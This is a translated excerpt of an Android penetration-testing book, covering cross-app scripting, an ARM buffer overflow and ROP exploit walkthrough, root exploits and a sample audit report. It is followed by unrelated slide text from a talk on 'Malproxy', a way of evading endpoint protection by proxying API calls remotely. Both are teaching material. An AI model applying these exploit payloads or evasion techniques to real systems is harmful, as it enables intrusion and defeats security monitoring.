7.3广告库中的漏洞 GooglePlay上提供的大部分免费Android应用都会使用广告来赚取收益。然而,通常广告库 本身存在漏洞,使得整个应用程序容易受到某种严重的威胁。 为了识别特定应用程序中存在的广告库,我们可以使用 dex2jar/apktool简单地反编译该应用 程序,并分析创建的文件夹。你还可以在 http://www.appbrain.com/stats/libraries/ad中找 到一些最受欢迎的Android广告库和使用它们的应用程序。广告库可能具有许多漏洞,例如 上一节中讨论的 WebView漏洞,不安全的文件权限或任何其他漏洞,这可能会导致攻击者破 坏整个应用程序,获得反向shell或甚至创建后门。 7.4Android中的跨应用脚本 跨应用程序脚本漏洞是一种Android应用程序漏洞,攻击者可以绕过同源策略并在应用程序 位置中访问存储在Android文件系统上的敏感文件。这意味着攻击者能够访问位 于 /data/data/[应用程序包名称]位置中的所有内容。漏洞的根本原因是,应用程序允许内容使 用受信任区域的访问权限,在不受信任区域中执行。 如果漏洞应用程序是Web浏览器,攻击会变得更加严重,其中攻击者能够静默窃取浏览器存 储的所有Cookie和其他信息,并将其发送给攻击者。 甚至一些著名的应用程序,如Skype,Dropbox,海豚浏览器等,早期版本中都存在跨应用程 序脚本漏洞。 让我们来看看海豚浏览器HD中的漏洞,例如,由RoeeHay和YairAmit发现的漏洞。此示 例中使用的存在漏洞的海豚浏览器HD应用程序版本为6.0.0,以后的版本中修补了漏洞。 海豚浏览器HD有一个名为 BrowserActivity的漏洞活动,它可以被其他应用程序以及其他参 数调用。攻击者可以使用它来调用海豚浏览器HD并打开特定的网页,以及恶意的 JavaScript。以下屏幕截图显示了POC代码以及通报 ( http://packetstormsecurity.com/files/view/105258/dolphin-xas.txt): 第七章不太知名的Android漏洞 79 这里,使用屏幕截图中的上述代码,我们将打开 http://adityagupta.net网站以及JavaScript 函数 alert(document.domain),它将在提示框中简单地弹出域名。一旦我们在我们的手机上 打开这个恶意应用程序,它将调用海豚浏览器HD,打开URL和我们指定的JavaScript代 码,如下面的截图所示: 第七章不太知名的Android漏洞 80 总结 在本章中,我们了解了Android中的不同攻击向量,从渗透测试者的角度来看,这非常有 用。本章应该用做对不同攻击向量的快速演练;然而,建议你尝试这些攻击向量,尝试修改它 们,并在现实生活中的渗透测试中使用它们。 在下一章中,我们将离开应用程序层,专注于Android平台的基于ARM的利用。 第七章不太知名的Android漏洞 81 第八章ARM利用 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 在本章中,我们将了解ARM处理器的基础知识,和ARM世界中存在的不同类型的漏洞。我 们甚至会继续利用这些漏洞,以便对整个场景有个清晰地了解。此外,我们将研究不同的 Androidroot攻击和它们在漏洞利用中的基本漏洞。考虑到目前大多数Android智能手机都 使用基于ARM的处理器,对于渗透测试人员来说,了解ARM及其附带的安全风险至关重 要。 8.1ARM架构导论 ARM是基于精简指令集(RISC)的架构,这意味着其指令比基于复杂指令集(CISC)的机 器少得多。ARM处理器几乎遍布我们周围的所有设备,如智能手机,电视,电子书阅读器和 更多的嵌入式设备。 ARM总共有16个可见的通用寄存器,为R0-R15。在这16个中,有5个用于特殊目的。 以下是这五个寄存器及其名称: R11:帧指针(FP) R12:过程内寄存器(IP) R13:栈指针(SP) R14:链接寄存器(LR) R15:程序计数器(PC) 下面的图展示了ARM架构: 第八章ARM利用 82 在五个里面,我们会特别专注于这三个,它们是: 堆栈指针(SP):这是保存指向堆栈顶部的指针的寄存器 链接寄存器(LR):当程序进入子过程时存储返回地址 程序计数器(PC):存储要执行的下一条指令 注意 这里要注意的一点是,PC将总是指向要执行的指令,而不是简单地指向下一条指令。 这是由于被称为流水线的概念,指令按照以下顺序操作:提取,解码和执行。为了控制 程序流,我们需要控制PC或LR中的值(后者最终引导我们控制PC)。 第八章ARM利用 83 执行模式 ARM有两种不同的执行模式: ARM模式:在ARM模式下,所有指令的大小为32位 Thumb模式:在Thumb模式下,指令大部分为16位 执行模式由CPSR寄存器中的状态决定。还存在第三模式,即Thumb-2模式,它仅仅是 ARM模式和Thumb模式的混合。我们在本章不会深入了解ARM和Thumb模式之间的区 别,因为它超出了本书的范围。 8.2建立环境 在开始利用ARM平台的漏洞之前,建议你建立环境。即使AndroidSDK中的模拟器可以通 过模拟ARM平台来运行,大多数智能手机也是基于ARM的,我们将通过配置QEMU(它是 一个开源硬件虚拟机和模拟器)开始ARM漏洞利用。 为了在Android模拟器/设备上执行以下所有步骤,我们需要下载AndroidNDK并使用 AndroidNDK中提供的工具为Android平台编译我们的二进制文件。但是,如果你使用Mac 环境,安装QEMU相对容易,可以通过键入 brewinstallqemu来完成。现在让我们在 Ubuntu系统上配置QEMU。遵循以下步骤: 1. 第一步是通过安装依赖来下载并安装QEMU,如图所示: sudoapt-getbuild-depqemu wgethttp://wiki.qemu-project.org/download/qemu- 1.7.0.tar.bz2 2. 接下来,我们只需要配置QEMU,指定目标为ARM,最后充分利用它。因此,我们将简 单地解压缩归档文件,访问该目录并执行以下命令: ./configure--target-list=arm-softmmu make&&makeinstall 3. 一旦QEMU成功安装,我们可以下载ARM平台的Debian镜像来进行利用练习。所需下 载列表位于 http://people.debian.org/~aurel32/qemu/armel/。 4. 这里我们将下载格式为 qcow2的磁盘映像,它是基于QEMU的操作系统映像格式,也就 是我们的操作系统为 debian_squeeze_armel_standard.qcow2。内核文件应该 是 vmlinuz-2.6.32-5-versatile,RAM磁盘文件应该是 initrd.img-2.6.32-versatile。 一旦我们下载了所有必要的文件,我们可以通过执行以下命令来启动QEMU实例: 第八章ARM利用 84 qemu-system-arm-Mversatilepb-kernelvmlinuz-2.6.32-5- versatile-initrdinitrd.img-2.6.32-5-versatile-hda debian_squeeze_armel_standard.qcow2-append "root=/dev/sda1"--redirtcp:2222::22 5. redir命令只是在登录远程系统时使用端口2222启用ssh。一旦配置完成,我们可以 使用以下命令登录到Debian的QEMU实例: sshroot@[ipaddressofQemu]-p2222 6. 登录时会要求输入用户名和密码,默认凭据是 root:root。一旦我们成功登录,我们将 看到类似如下所示的屏幕截图: 8.3基于栈的简单缓冲区溢出 简单来说,缓冲区是存储任何类型的数据的地方。当缓冲区中的数据超过缓冲区本身的大小 时,会发生溢出。然后攻击者可以执行溢出攻击,来获得对程序的控制和执行恶意载荷。 让我们使用一个简单程序的例子,看看我们如何利用它。在下面的截图中,我们有一个简单 的程序,有三个函数: weak, ShouldNotBeCalled和 main。以下是我们试图利用的程序: 第八章ARM利用 85 在整个程序运行期间,从不调用 ShouldNotBeCalled函数。 漏洞函数简单地将参数复制到名为 buff的缓冲区,大小为10字节。 一旦我们完成程序编写,我们可以使用 gcc编译它,如下一个命令所示。此外,我们将在这 里禁用地址空间布局随机化(ASLR),只是为了使场景稍微简单一些。ASLR是由OS实现 的安全技术,来防止攻击者有效地确定载荷的地址并执行恶意指令。在Android中,ASLR 的实现始于4.0。你可以访 问 http://www.duosecurity.com/blog/exploit-mitigations-in-android-jelly-bean-4-1了解所有 Android安全实施。 echo0>/proc/sys/kernel/randomize_va_space gcc-gbuffer_overflow.c-obuffer_overflow 接下来,我们可以简单将二进制文件加载到GNU调试器,简称GDB,然后开始调试它,如 下面的命令所示: gdb-qbuffer_overflow 现在我们可以使用 disass命令来反汇编特定的函数,这里是 ShouldNotBeCalled,如下面的 截图所示: 第八章ARM利用 86 正如我们在上面的截图中可以看到的, ShouldNotBeCalled函数从内存地址 0x00008408开始。 如果我们查看 main函数的反汇编,我们看到漏洞函数在 0x000084a4被调用并 在 0x000084a8返回。因此,由于程序进入漏洞函数并使用易受攻击的 strcpy,函数不检查 要复制的字符串的大小,并且如果我们能够在程序进入漏洞函数时控制子过程的LR,我们就 能够控制整个程序流程。 这里的目标是估计何时LR被覆盖,然后放入 ShouldNotBeCalled的地址,以便调 用 ShouldNotBeCalled函数。让我们开始使用一个长参数运行程序,如下面的命令所示,看看 会发生什么。在此之前,我们还需要在漏洞函数和 strcpy调用的地址设置断点。 bvulnerable b*<addressofthestrcpycall> 一旦我们设置了断点,我们可以使用参数 AAAABBBBCCCC来运行我们的程序,看看它是如何被 覆盖的。我们注意到它在漏洞函数的调用处命中了第一个断点,之后在 strcpy调用处命中了 下一个断点。一旦它到达断点,我们可以使用 x命令分析堆栈,并指定来自SP的地址,如 下面的截图所示: 我们可以看到,堆栈已经被我们输入的缓冲区覆盖(ASCII:41代表A,42代表B,等 等)。从上面的截图中,我们看到,我们仍然需要四个更多的字节来覆盖返回地址,在这种 情况下是 0x000084a8。 所以,最后的字符串是16字节的垃圾,然后是 ShouldNotBeCalled的地址,如下面的命令所 示: r`printf"AAAABBBBCCCCDDDD\x38\x84"` 第八章ARM利用 87 我们可以在下面的截图中看到,我们已经将 IShouldNeverBeCalled的起始地址添加到了参数 中: 请注意,由于这里是小端结构,字节以相反的顺序写入。一旦我们运行它,我们可以看到程 序 ShouldNotBeCalled函数被调用,如下面的截图所示: 8.4返回导向编程 在大多数情况下,我们不需要调用程序本身中存在的另一个函数。相反,我们需要在我们的 攻击向量中放置shellcode,这将执行我们在shellcode中指定的任何恶意操作。但是,在大 多数基于ARM平台的设备中,内存中的区域是不可执行的,这会阻止我们放置并执行 shellcode。 因此,攻击者必须依赖于所谓的返回导向编程(ROP),它是来自内存不同部分的指令片段 的简单链接,最终它会执行我们的shellcode。这些片段也称为ROPgadget。为了链接 ROPgadget,我们需要找到存在跳转指令的gadget,这将允许我们跳到另一个位置。 例如,如果我们在执行程序时反汇编 seed48(),我们将注意到以下输出: 第八章ARM利用 88 如果我们查看反汇编,我们将注意到它包含一个ADD指令,后面跟着一个POP和BX指 令,这是一个完美的ROPgadget。这里,攻击者可能会想到,为了将其用作ROPgadget, 首先跳到控制r4的POP指令,然后将比 /bin/sh的地址小6的值放入r4中,将ADD指令 的值放入LR中。因此,当我们跳回到ADD也就是 R0=R4+6时,我们就拥有 了 /bin/sh的地址,然后我们可以为R4指定任何垃圾地址并且为LR指定 system()的地 址。 这意味着我们将最终跳转到使用参数 /bin/sh的 system(),这将执行shell。以同样的方 式,我们可以创建任何ROPgadget,并使其执行我们所需要的任何东西。由于ROP是开发 中最复杂的主题之一,因此强烈建议你自己尝试,分析反汇编代码并构建漏洞。 8.5Androidroot利用 从早期版本的Android开始,Androidroot漏洞开始出现于每个后续版本和不同的Android设 备制造商的版本中。Androidroot简单来说是获得对设备的访问特权,默认情况下设备制造 商不会将其授予用户。这些root攻击利用了Android系统中存在的各种漏洞。以下是其中一 些的列表,带有漏洞利用所基于的思想: Exploid:基于udev中的CVE-2009-1185漏洞,它是Android负责USB连接的组件, 它验证Netlink消息(一种负责将Linux内核与用户连接的消息)是否源自原始来源或是 由攻击者伪造。因此,攻击者可以简单地从用户空间本身发送udev消息并提升权限。 Gingerbreak:这是另一个漏洞,基于vold中存在的漏洞,类似于Exploid中的漏洞。 RageAgainstTheCage:此漏洞利用基于 RLIMIT_NPROC,它指定在调用 setuid函数时可 为用户创建的进程的最大数目。adb守护程序以root身份启动;然后它使用 setuid()调 用来解除特权。但是,如果根据 RLIMIT_NPROC达到了最大进程数,程序将无法调 用 setuid()来解除特权,adb将继续以root身份运行。 Zimperlich:使用与RageAgainstTheCage的相同概念,但它依赖于zygote进程解除 root权限。 KillingInTheNameOf:利用了一个称为 ashmem(共享内存管理器)接口的漏洞,该漏洞 用于更改 ro.secure的值,该值确定设备的root状态。 这些是一些最知名的Android漏洞利用,用于rootAndroid设备。 总结 在本章中,我们了解了Android利用和ARM利用的不同方式。希望本章对于任何想要更深 入地利用ARM的人来说,都是一个好的开始。 在下一章中,我们将了解如何编写Android渗透测试报告。 第八章ARM利用 89 第八章ARM利用 90 第九章编写渗透测试报告 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 在本章中,我们将学习渗透测试的最终和最重要的方面,撰写报告。这是一个简短的章节, 指导你在报告中写下你的方法和发现。作为渗透测试者,如果能够更好地解释和记录你的发 现,渗透测试报告会更好。对于大多数渗透测试者来说,这是渗透测试中最没意思的部分, 但它也是最重要的渗透测试步骤之一,因为它作为“至关重要的材料”,使其他技术和管理人员 容易理解。 渗透测试报告基础 渗透测试报告是渗透测试过程中所有发现的摘要文档,包括但不限于所使用的方法,工作范 围,假设,漏洞的严重程度等。渗透测试报告仅用作渗透测试的完整文档,可用于消除已发 现的漏洞并进一步参考。 编写渗透测试报告 为了理解如何编写渗透测试报告,最好对渗透测试报告中的一些重要部分有一个清晰的了 解。 一些最重要的组成部分包括: 执行摘要 漏洞摘要 工作范围 使用的工具 遵循的测试方法 建议 结论 附录 除此之外,还应该有关于渗透测试,进行渗透测试的组织和客户,以及“非披露协议”的足够详 细信息。让我们一个一个地去看上面的每个部分,来快速查看它。 执行摘要 第九章编写渗透测试报告 91 执行摘要是渗透测试的整个结果的快速演练。执行摘要不需要太多技术,它只是一个总结, 用于在尽可能短的时间内浏览渗透测试。执行摘要是管理层和高管首先看到的。 它的一个例子如下: XYZ应用程序的渗透测试具有大量的开放输入验证缺陷,这可能导致攻击者访问敏感数据。 你还应该解释此漏洞对于该组织业务的严重程度。 漏洞 如标题所示,这应包括应用程序中发现的所有漏洞的摘要以及相关详细信息。如果你在应用 程序中找到的漏洞分配了CVE号码,你可以包括它。你还应包括导致该漏洞的应用程序的技 术详细信息。另一种展示漏洞的好方法是对漏洞按照类别进行分类:低,中和高,然后在饼 图或任何其他图形表示上展示它们。 工作范围 工作范围仅仅意味着渗透测试涵盖并评估了哪些应用程序和服务。它可以简单地写成一行, 如下: 该工作的范围仅限于XYZAndroid和iOS应用程序,不包括任何服务端组件。 使用的工具 这是一个可选类别,通常可以包含在另一个类别中,也就是讨论漏洞发现和技术细节的地 方。在本节中,我们可以简单提到使用的不同工具及其特定版本。 遵循的测试方法 这个类别是最重要的类别之一,应该以详细方式编写。这里,渗透测试者需要指定不同的技 术,和他在渗透测试阶段所遵循的步骤。它可以是简单的应用程序逆向,流量分析,使用不 同的工具的库和二进制文件分析,等等。 此类别应指定其他人需要遵循的完整过程,以便完全理解和重现这些漏洞。 建议 此类别应指定要执行的不同任务,以便组织保护程序并修复漏洞。这可能包括一些东西,类 似建议以适当权限保存文件,加密发送网络流量以及正确使用SSL等。它还应包括在考虑到 组织的情况下,执行这些任务的正确方法。 结论 第九章编写渗透测试报告 92 这个部分应该简单地总结渗透测试的总体结果,并且我们可以使用漏洞类型的概述,简单地 说明应用程序是不安全的。记住,我们不应该涉及所发现的不同漏洞的详细信息,因为我们 已经在前面的章节中讨论过了。 附录 渗透测试报告的最后一部分应该是附录,或者一个快速参考,读者可以使用它快速浏览渗透 测试的特定主题。 总结 在本章中,我们对渗透测试报告的不同部分进行了快速演练,渗透测试者需要了解这些部分 才能编写报告。本章的目的是在渗透测试的最后阶段,作为一个编写渗透测试报告的简洁指 南。此外,你可以在下一页找到渗透测试报告的示例。 对于渗透测试人员,和想入门Android安全的人来说,我希望这本书会成为一个伟大的工 具。本书中提到的工具和技术将帮助你入门Android安全。祝你好运! 下面是渗透测试报告的示例: Attify漏洞应用安全审计报告 应用程序版本:1.0 日期:2014年1月 作者:AdityaGupta 摘要:2014年1月,Attify实验室对Android平台的移动应用程序“Attify漏洞应用”进行了安全 评估。本报告包含审计过程中的所有发现。它还包含首先发现这些漏洞的过程,以及修复这 些问题的方法。 目录 第九章编写渗透测试报告 93 1.引言 1.1执行摘要 AttifyLabs受委托对XYZ公司的Android应用程序“Attify漏洞应用”执行渗透测试。此渗透测 试和审计的目的是确定Android应用程序以及与其通信的Web服务的安全漏洞。 我们在测试期间十分小心,以确保在执行审计时不会对后端Web服务器造成损害。该评估在 AdityaGupta的领导下进行,团队由三名内部渗透测试人员组成。 在审计期间,在XYZAndroid应用程序和后端Web服务中发现了一些安全漏洞。总的来 说,我们发现系统是不安全的,并且具有来自攻击者的高威胁风险。 此次审计的结果将有助于XYZ公司使他们的Android应用程序和Web服务免受攻击者造成 的安全威胁,这可能会损害声誉和收入。 2.2工作范围 这里执行的渗透测试集中于XYZ公司的Android应用程序,名为“Attify漏洞应用”。渗透测 试还包括所有Web后端服务,Android应用程序与之进行通信。 第九章编写渗透测试报告 94 1.3漏洞摘要 Android应用程序“Attify漏洞应用”被发现存在漏洞,包括应用程序本身,以及由于在应用程序 中使用第三方库的很多漏洞。我们已成功利用该库,使我们可以访问存储在设备上的整个应 用程序的数据。 此外,在应用程序中找到的 webview组件使应用程序容易受到JavaScript响应的操纵,使我 们可以访问应用程序中的整个JavaScript界面​。这最终允许我们利用不安全网络上的应用程 序,导致应用程序行为控制,还允许我们在用户没有知晓的情况下安装更多应用程序,进行 意外的拨号和发送短信等。 在应用程序中发现的其他漏洞包括不安全的文件存储,一旦设备已经root,这使我们可以访 问存储在应用程序中的敏感用户凭据。 此外,我们可以注意到,应用通信的web服务没有用于用户认证的适当安全措施,并且可以 使用SQL认证绕过攻击来访问存储在web服务器上的敏感信息。 2.审计与方法论 2.1使用的工具 以下是用于整个应用程序审计和渗透测试流程的一些工具: 测试平台:UbuntuLinuxDesktopv12.04 设备:运行Androidv4.4.2的Nexus4 AndroidSDK APKTool1.5.2:将Android应用程序反编译成Smali源文件 Dex2Jar0.0.9.15.48:将Android应用程序源反编译为Java JD-GUI0.3.3:读取Java源文件 BurpProxy1.5:代理工具 Drozer2.3.3:Android应用程序评估框架 NMAP6.40:扫描Web服务 2.2漏洞 问题#1:Android应用程序中的注入漏洞 说明:在Android应用程序的 DatabaseConnector.java文件中发现了一个注入漏洞。参 数 account_id和 account_name被传递到应用程序中的SQLite查询中,使其易于遭受SQLite 注入。 风险级别:严重 修复:在传递到数据库命令之前,应正确校验用户输入。 第九章编写渗透测试报告 95 问题#2: WebView组件中的漏洞 说明: WebDisplay.java文件中指定的Android应用程序中的 WebView组件允许执行 JavaScript。攻击者可以拦截不安全网络上的流量,创建自定义响应,并控制应用程序。 风险等级:高 补救:如果应用程序中不需要JavaScript,请将 setJavascriptEnabled设置为 False。 问题#3:无/弱加密 说明:Android应用程序将认证凭据存储在名为 prefs.db的文件中,该文件存储在设备上的应 用程序文件夹中,即 /data/data/com.vuln.attify/databases/prefs.db。通过root权限,我们 能够成功地查看存储在文件中的用户凭据。身份验证凭据以Base64编码存储在文件中。 风险等级:高 补救:如果认证证书必须存储在本地,则应使用适当的安全加密存储。 问题#4:易受攻击的内容供应器 说明:发现Android应用程序的内容供应器已导出,这使得它也可以由设备上存在的任何其 他应用程序使用。内容供应器是 content://com.vuln.attify/mycontentprovider。 风险等级:高 补救:使用 exported=false,或在 AndroidManifest.xml中指定内容供应器的权限。 3.结论 3.1结论 我们发现该应用程序整体上存在漏洞,拥有内容供应器,SQLite数据库和数据存储技术相关 的漏洞。 3.2建议 我们发现该应用程序容易受到一些严重和高危漏洞的攻击。付诸一些精力和安全的编码实 践,所有的漏洞都可以成功修复。 为了维持应用程序的安全,需要定期进行安全审计,来在每次主要升级之前评估应用程序的 安全性。 第九章编写渗透测试报告 96
pdf
Leave your malware @home MALPROXY Amit Waisel Hila Cohen US About Amit Waisel Offensive Cyber Security Expert Technology lead, Security Research @ XM Cyber Trusted Security Advisor Favorite bit: 1 Private Pilot , Skipper and cat lover Hila Cohen Security Researcher @ XM Cyber @hilaco10 Passionate about Windows Internals and Malware Analysis Love to dance, travel the world and capture moments with my camera Endpoint protections introduction Malproxy - A new technique to bypass endpoint protections Demo Mitigations TL;DR & Organizations heavily rely on endpoint protection solutions in their security stack Unfair cat-and-mouse game Security solutions evolved over time, so are the viruses What do you know about your endpoint protection solutions? malicious activity detection mechanisms Endpoint Protection 101 Static signatures Behavioral signatures 1 3 Heuristics 2 Static signatures 1 Behavioral signatures Heuristics 2 3 //testbin.c int main () { char *user = "adm.user"; printf("%s\n",user); return 0; } Static signatures 1 Behavioral signatures Heuristics 2 3 rule APT_adm_corp : apt //apt is just a tag, it doesn’t affect the rule. { meta: //Metadata, they don’t affect the rule author = "xgusix" strings: $adm = "adm." $corp = "corp." $elf = { 7f 45 4c 46 } //ELF file’s magic numbers condition: $elf in (0..4) and ($adm or $corp) // If $elf in the first 4 bytes and it matches $adm or $corp } Static signatures 1 Behavioral signatures Heuristics 2 3 # yara -s -m -g rules.yar testbin APT_adm_corp [apt] [author="xgusix"] testbin 0x0:$elf: 7F 45 4C 46 0x4c0:$adm: adm. Static signatures 1 Behavioral signatures Heuristics 2 3 HackTool:Win32/OurCoolMimikatzSignature: "A La Vie, A L'Amour" - (oe.eo) Benjamin DELPY `gentilkiwi` Vincent LE TOUX ## / \ ## sekurlsa logonpasswords Static signatures 1 Heuristics 2 Behavioral signatures 3 UPX2 .data .text Property 0x00003400 0x00000400 0x00000400 Raw-address 0x200 bytes 0x3000 bytes 0x0 bytes Raw-size 0x0040A000 0x00407000 0x00401000 Virtual-address 0x1000 bytes 0x3000 bytes 0x6000 bytes Virtual-size + - + Executable - + + Writable Static signatures 1 Heuristics 2 Behavioral signatures 3 Static signatures 1 Heuristics 2 Behavioral signatures 3 Endpoint protection solutions bypass Endpoint protection solutions bypass MALPROXY Target OS P r o c e s s MALPROXY Malicious code interacts with the underlying OS using API function calls Those actions can be detected and blocked by any security solution Malicious code API MALPROXY Proxy the malicious operations over the network Never deploying the actual malicious code on the target side Emulating needed API calls Attacker OS S t u b Malicious code S t u b Innocent code Target OS API MALPROXY Target & attacker stubs Load the PE file and hook system API functions Execution flow – hook, serialize, send, execute, serialize, send, return. Repeat. Attacker OS S t u b Malicious code Target OS S t u b Innocent code API MALPROXY Target & attacker stubs Load the PE file and hook system API functions Execution flow – hook, serialize, send, execute, serialize, send, return. Repeat. Attacker OS S t u b Malicious code Target OS S t u b Innocent code C r e a t e F i l e ( ” b l a h . t x t ” ) API MALPROXY Target & attacker stubs Load the PE file and hook system API functions Execution flow – hook, serialize, send, execute, serialize, send, return. Repeat. Attacker OS S t u b Malicious code Target OS S t u b Innocent code C r e a t e F i l e ( ” b l a h . t x t ” ) API MALPROXY Target & attacker stubs Load the PE file and hook system API functions Execution flow – hook, serialize, send, execute, serialize, send, return. Repeat. Attacker OS S t u b Malicious code Target OS S t u b Innocent code H A N D L E b l a h . t x t API MALPROXY Target & attacker stubs Load the PE file and hook system API functions Execution flow – hook, serialize, send, execute, serialize, send, return. Repeat. Attacker OS S t u b Malicious code Target OS S t u b Innocent code H A N D L E b l a h . t x t API Key terms: SYSTEM CALLS OVERVIEW USER MODE KERNEL MODE Kernel32.dll CreateFile Call CreateFile Call NtCreateFile SYSENTER\SYSCALL Find relevant function in SSDT and executes it NtCreateFile ZwCreateFile Ntdll.dll Ntoskrnl Windows Application Key terms: SYSTEM CALLS OVERVIEW USER MODE KERNEL MODE Kernel32.dll CreateFile Call CreateFile Call NtCreateFile SYSENTER\SYSCALL Find relevant function in SSDT and executes it NtCreateFile ZwCreateFile Ntdll.dll Ntoskrnl Windows Application Key terms: SYSTEM CALLS OVERVIEW USER MODE KERNEL MODE Kernel32.dll CreateFile Call CreateFile Call NtCreateFile SYSENTER\SYSCALL Find relevant function in SSDT and executes it NtCreateFile ZwCreateFile Ntdll.dll Ntoskrnl Windows Application Key terms: SYSTEM CALLS OVERVIEW USER MODE KERNEL MODE Kernel32.dll CreateFile Call CreateFile Call NtCreateFile SYSENTER\SYSCALL Find relevant function in SSDT and executes it NtCreateFile ZwCreateFile Ntdll.dll Ntoskrnl Windows Application Key terms: SYSTEM CALLS OVERVIEW USER MODE KERNEL MODE Kernel32.dll CreateFile Call CreateFile Call NtCreateFile SYSENTER\SYSCALL Find relevant function in SSDT and executes it NtCreateFile ZwCreateFile Ntdll.dll Ntoskrnl Windows Application P r o c e s s Innocent code COMPUTER OS API Key terms: SYSTEM CALLS OVERVIEW USER MODE KERNEL MODE Kernel32.dll CreateFile Call CreateFile Call NtCreateFile SYSENTER\SYSCALL Find relevant function in SSDT and executes it NtCreateFile ZwCreateFile Ntdll.dll Ntoskrnl P r o c e s s Innocent code COMPUTER OS Windows Application API Key terms: HOOKING Redirect system API calls to our code Control all arguments & return value Imported system API function addresses are resolved during PE load process and can be overridden later – IAT hooking This allows us to separate the code’s logic from its interaction with the OS IMPORT ADDRESS TABLE NtQuerySystemInformation Malproxy OpenProcess Malproxy ReadProcessMemory Malproxy BCryptGenerateSymetricKey Bcrypt.dll ConvertSidToStringSidW Advapi32.dll … … RtlAdjustPrivilege Malproxy NtQueryInformationProcess Malproxy RtlEqualUnicodeString Ntdll.dll Key terms: BOOL stdcall ReadProcessMemory(HANDLE hProcrss, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); Return Type Calling Convention Function arguments FUNCTION PROTOTYPE Dealing with all aspects of different prototypes Proxying Win32 API Calling convention – same for all Win32API and Native API calls Input Arguments: Primitives Pointers to primitives User-allocated buffers Output Arguments: User-allocated output buffer System- allocated output buffer Return values Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE Request Message ProcessHandle Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE Request Message ProcessHandle ProcessInformationClass Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE Request Message ProcessHandle ProcessInformationClass Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE Request Message ProcessHandle ProcessInformationClass ProcessInformationLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE Request Message ProcessHandle ProcessInformationClass ProcessInformationLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Request Message ProcessHandle ProcessInformationClass ProcessInformationLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Request Message ProcessHandle ProcessInformationClass ProcessInformationLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Response Message ReturnLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Response Message ReturnLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Response Message ProcessInformation ReturnLength Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ATTACKER SIDE TARGET SIDE Response Message ProcessInformation ReturnLength Return value Handling ARGUMENTS NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); Response Message NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); TARGET SIDE ATTACKER SIDE ProcessInformation 